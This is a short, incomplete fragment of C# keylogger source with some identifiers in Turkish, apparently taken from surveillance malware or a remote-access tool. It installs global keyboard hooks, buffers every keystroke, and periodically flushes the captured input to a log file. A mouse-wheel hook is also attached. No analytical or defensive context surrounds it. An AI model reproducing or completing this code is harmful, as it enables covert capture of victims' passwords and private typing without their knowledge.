public Keylogger(double flushInterval) { Instance = this; _lastWindowTitle = string.Empty; _logFileBuffer = new StringBuilder(); Subscribe(AnaHook.GlobalEvents()); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += timerFlush_Elapsed; _timerFlush.Start(); WriteFile(); }
private void SubscribeEvents() { if (PlatformYardımcısı.MonodaÇalışıyor) { KeyDown += OnKeyDown; KeyUp += OnKeyUp; } else { _keyboardHook = AnaHook.GlobalEvents(); _keyboardHook.KeyDown += OnKeyDown; _keyboardHook.KeyUp += OnKeyUp; _mouseHook = AnaHook.AppEvents(); _mouseHook.MouseWheel += OnMouseWheelMove; } }